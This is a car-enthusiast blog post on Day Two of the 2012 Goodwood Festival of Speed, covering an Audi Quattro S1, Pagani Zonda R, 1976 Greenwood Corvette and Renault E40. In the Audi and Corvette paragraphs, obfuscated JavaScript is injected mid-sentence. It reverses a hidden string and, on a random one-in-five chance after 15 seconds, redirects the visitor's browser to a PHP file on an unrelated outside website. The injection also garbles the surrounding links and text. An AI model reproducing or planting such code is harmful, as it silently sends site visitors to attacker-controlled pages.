Goodwood Festival of Speed 2012. Day Two. Scoping The Talent

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Then again, sometimes the simplest shots are the best ones. This Audi Quattro S1 for instance needs little introduction, since it remains one of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/vision/rally-san-marino-legends-are-forever/” target=”_blank”>World Rally Championship’s most iconic Group B machines: two championships and two runners-up spots from 1981 to 1986, and a veritable who’s who of driver lineups including Hannu Mikola, Walter Rohrl and Stig Blomqvist. All summed up by those headlights.

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If your idea of an epic shot though involves power almost punching off the screen, then this Pagani Zonda R will be right up your street. Now if you’re like us, chances are you’re unsure how many iterations of the Zonda there have been (we stopped counting when it hit double figures), but there’s no denying that the R packs a serious whallop: 739hp 6.0l V12, 0-100kph in a ballistic 3s, and a neck-snapping 375kph top speed. All for just $1.8million. Bargain!

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From across the big blue pond comes this Greenwood Chevrolet Widebody Corvette from 1976. Not content with facing the mighty General Motors hoards in the IMSA Road Racing series, the Corvette continued its baptism of fire by debuting at the daunting $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/daytona-rolex-24-the-chequered-flag/” target=”_blank”>Daytona 24hrs that same year. All went well from an impressive sixth on the grid until a tyre let go in the 16^th hour at 355kph. It’s never easy for the newboy.

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As we start to check out the motorsport scene, we’re straight out the blocks with a bit of a result. The 1980s turbo era of Formula One is considered one of the most dangerous, given the reliability issues that regularly plagued the cars. Even though it took a while to work the bugs out, this Renault E40 from 1983 was one of the key inaugurators of the era, its turbocharged V6 comprehensively sealing its place in the record books with three wins for future World Champion Alain Prost.